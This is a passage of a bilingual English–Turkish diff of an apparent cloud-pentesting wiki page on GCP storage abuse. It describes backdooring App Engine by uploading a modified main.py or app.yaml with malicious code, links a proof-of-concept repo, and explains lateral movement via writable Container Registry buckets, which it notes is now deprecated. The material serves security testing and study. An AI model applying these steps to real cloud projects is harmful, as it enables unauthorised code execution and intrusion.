- Kötü amaçlı kodu çalıştıracak şekilde değiştirilmiş bir `main.py` veya `app.yaml` dosyası yükleyin ve `manifest.json` dosyasını yeni dosya adı, URL ve hash ile güncelleyin.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
**Bu saldırının PoC'unu repo'da bulabilirsiniz:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry** stores the images inside buckets, if you can **write those buckets** you might be able to **move laterally to where those buckets are being run.**
|
||||
- The bucket used by GCR will have an URL similar to `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
- **Google Container Registry**, görüntüleri bucket'lar içinde saklar; eğer bu bucket'lara **yazabiliyorsanız**, daha sonra bu bucket'ların çalıştırıldığı yerlere doğru **lateral hareket edebilmeniz** mümkün olabilir.
|
||||
- GCR tarafından kullanılan bucket URL'si `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` benzeri olacaktır (üst seviye alt alan adları [burada](https://cloud.google.com/container-registry/docs/pushing-and-pulling) belirtilmiştir).
|
||||
|
||||
> [!TIP]
|
||||
> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
|
||||
> Bu servis deprecated olduğu için bu saldırı artık kullanışlı değildir. Ayrıca, bu servisin yerine geçen Artifact Registry görüntüleri bucket'larda saklamamaktadır.
|
||||
|
||||
## **References**
|
||||
## **Referanslar**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user